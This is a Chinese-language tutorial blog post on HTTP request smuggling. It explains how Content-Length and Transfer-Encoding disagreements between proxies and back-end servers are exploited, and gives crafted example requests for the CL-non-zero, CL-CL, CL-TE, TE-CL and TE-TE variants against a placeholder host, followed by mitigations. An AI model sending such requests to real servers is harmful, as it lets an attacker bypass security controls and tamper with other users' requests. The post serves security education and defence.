http-smuggle

发表于
字数统计: 2.8k | 阅读时长 ≈ 10

协议层攻击之HTTP请求走私

0x01 HTTP请求走私是什么

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。使攻击者可以绕过安全控制，未经授权访问敏感数据并直接危害其他应用程序用户。

0x02 为什么会产生HTTP请求走私

  • 请求走私漏洞成因
    前端服务器(CDN)和后端服务器接收数据不同步，引起对客户端传入的数据理解不一致，从而导致漏洞的产生。
    大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置：Content-Length标头和Transfer-Encoding标头。
    同时使用两种不同的方法时，Content-Length无效。当使用多个服务器时，对客户端传入的数据理解不一致时，就会出现有些服务器认为Content-Length的长度有效，有些以Transfer-Encoding有效。而一般情况下，反向代理服务器与后端的源站服务器之间，会重用TCP链接。这样超出的长度就会拼接到下一次请求进行请求，从而导致HTTP请求走私漏洞。
  • RFC2616规范
    如果接收的消息同时包含传输编码头字段(Transfer-Encoding)和内容长度头(Content-Length)字段，则必须忽略后者。
    由于规范默许可以使用Transfer-Encoding和Content-Length处理请求，因此很少有服务器拒绝此类请求。每当我们找到一种方法，将Transfer-Encoding隐藏在服务端的一个chain中时，它将会回退到使用Content-Length去发送请求。
  • 走私攻击实现
    当向代理服务器发送一个比较模糊的HTTP请求时，由于两者服务器的实现方式不同，代理服务器可能认为这是一个HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用户的请求造成了影响之后，就实现了HTTP走私攻击。

0x03 如何执行HTTP请求走私攻击

HTTP请求走私攻击涉及将Content-Length标头和Transfer-Encoding标头都放置在单个HTTP请求中并进行处理，以便前端服务器和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为：

  • CL.TE：前端服务器使用Content-Length标头，而后端服务器使用Transfer-Encoding标头。

  • TE.CL：前端服务器使用Transfer-Encoding标头，而后端服务器使用Content-Length标头。

  • TE.TE：前端服务器和后端服务器都支持Transfer-Encoding标头，但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。

    0x04 HTTP请求走私攻击的五种方式

    CL不为0

    所有不携带请求体的HTTP请求都有可能受此影响。这里用GET请求举例。
    前端代理服务器允许GET请求携带请求体；后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的Content-Length头，不进行处理。这就有可能导致请求走私。

  • 构造请求示例

    1
    2
    3
    4
    5
    6
    7
    GET / HTTP/1.1\r\n
    Host: test.com\r\n
    Content-Length: 44\r\n

    GET / secret HTTP/1.1\r\n
    Host: test.com\r\n
    \r\n

  • 攻击流程
    前端服务器收到该请求，读取Content-Length，判断这是一个完整的请求。
    然后转发给后端服务器，后端服务器收到后，因为它不对Content-Length进行处理，由于Pipeline的存在，后端服务器就认为这是收到了两个请求，分别是：
    第一个

    1
    2
    GET / HTTP/1.1\r\n
    Host: test.com\r\n

第二个

1
2
GET / secret HTTP/1.1\r\n
Host: test.com\r\n

所以造成了请求走私。

CL-CL

  • RFC7230规范:在RFC7230的第3.3.3节中的第四条中，规定当服务器收到的请求中包含两个Content-Length，而且两者的值不同时，需要返回400错误。
    有些服务器不会严格的实现该规范，假设中间的代理服务器和后端的源站服务器在收到类似的请求时，都不会返回400错误。
    但是中间代理服务器按照第一个Content-Length的值对请求进行处理，而后端源站服务器按照第二个Content-Length的值进行处理。

  • 构造请求示例：

    1
    2
    3
    4
    5
    6
    7
    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    Content-Length: 8\r\n
    Content-Length: 7\r\n

    12345\r\n
    a

  • 攻击流程：中间代理服务器获取到的数据包的长度为8，将上述整个数据包原封不动的转发给后端的源站服务器。
    而后端服务器获取到的数据包长度为7。当读取完前7个字符后，后端服务器认为已经读取完毕，然后生成对应的响应，发送出去。而此时的缓冲区去还剩余一个字母a，对于后端服务器来说，这个a是下一个请求的一部分，但是还没有传输完毕。
    如果此时有一个其他的正常用户对服务器进行了请求：

    1
    2
    GET /index.html HTTP/1.1\r\n
    Host: test.com\r\n

因为代理服务器与源站服务器之间一般会重用TCP连接。所以正常用户的请求就拼接到了字母a的后面，当后端服务器接收完毕后，它实际处理的请求其实是：

1
2
aGET /index.html HTTP/1.1\r\n
Host: test.com\r\n

这时，用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击，而且还对正常用户的行为造成了影响，而且还可以扩展成类似于CSRF的攻击方式。

但是一般的服务器都不会接受这种存在两个请求头的请求包。该怎么办呢？
所以想到前面所说的.

  • RFC2616规范:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略Content-Length。
    所以请求包中同时包含这两个请求头并不算违规，服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。

    CL-TE

    CL-TE，就是当收到存在两个请求头的请求包时，前端代理服务器只处理Content-Length请求头，而后端服务器会遵守RFC2616的规定，忽略掉Content-Length，处理Transfer-Encoding请求头。
  • chunk传输数据(size的值由16进制表示)
    1
    [chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

构造请求示例：

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

连续发送几次请求就可以获得响应。

  • 攻击流程：
    由于前端服务器处理Content-Length，所以这个请求对于它来说是一个完整的请求，请求体的长度为6，也就是
    1
    2
    3
    0\r\n
    \r\n
    a

当请求包经过代理服务器转发给后端服务器时，后端服务器处理Transfer-Encoding，当它读取到

1
2
0\r\n
\r\n

认为已经读取到结尾了。
但剩下的字母a就被留在了缓冲区中，等待下一次请求。当我们重复发送请求后，发送的请求在后端服务器拼接成了类似下面这种请求：

1
2
3
aPOST / HTTP/1.1\r\n
Host: test.com\r\n
......

服务器在解析时就会产生报错了，从而造成HTTP请求走私。

TE-CL

TE-CL，就是当收到存在两个请求头的请求包时，前端代理服务器处理Transfer-Encoding请求头，后端服务器处理Content-Length请求头。

  • 构造请求示例：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    ......
    Content-Length: 4\r\n
    Transfer-Encoding: chunked\r\n
    \r\n
    12\r\n
    aPOST / HTTP/1.1\r\n
    \r\n
    0\r\n
    \r\n

  • 攻击流程：前端服务器处理Transfer-Encoding，当其读取到

    1
    2
    0\r\n
    \r\n

认为是读取完毕了。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器，后端服务器处理Content-Length请求头，因为请求体的长度为4.也就是当它读取完:

1
12\r\n

就认为这个请求已经结束了。后面的数据就认为是另一个请求：

1
2
3
4
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

成功报错，造成HTTP请求走私。

TE-TE

TE-TE，当收到存在两个请求头的请求包时，前后端服务器都处理Transfer-Encoding请求头，确实是实现了RFC的标准。不过前后端服务器不是同一种。这就有了一种方法，我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作(如某个字符改变大小写)，从而使其中一个服务器不处理Transfer-Encoding请求头。在某种意义上这还是CL-TE或者TE-CL。

  • 构造请求示例：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    POST / HTTP/1.1\r\n
    Host: test.com\r\n
    ......
    Content-length: 4\r\n
    Transfer-Encoding: chunked\r\n
    Transfer-encoding: cow\r\n
    \r\n
    5c\r\n
    aPOST / HTTP/1.1\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 15\r\n
    \r\n
    x=1\r\n
    0\r\n
    \r\n

  • 攻击流程：
    前端服务器处理Transfer-Encoding，当其读取到

    1
    2
    0\r\n
    \r\n

认为是读取结束。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器处理Transfer-encoding请求头，将Transfer-Encoding隐藏在服务端的一个chain中时，它将会回退到使用Content-Length去发送请求。读取到

1
5c\r\n

认为是读取完毕了。后面的数据就认为是另一个请求：

1
2
3
4
5
6
7
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

成功报错，造成HTTP请求走私。

0x05 漏洞修复

1、将前端服务器配置为只使用HTTP/2与后端系统通信
2、完全禁用后端连接重用来解决此漏洞的所有变体
3、确保连接中的所有服务器运行具有相同配置的相同web服务器软件。
4、彻底拒绝模糊的请求，并删除关联的连接。
5、在Burp Suite中，你可以使用Repeater菜单禁用此行为，确保你选择的工具具有相同的功能。
6、通过Squid之类的代理来测试他们的测试人员的流量以进行监控。破坏测试人员发起的任何走私攻击请求，确保对此漏洞做到全面杜绝。

author:Horizon

分享到： 收藏夹 复制网址 邮件 微信 QQ空间 腾讯微博 豆瓣 一键分享 更多
0%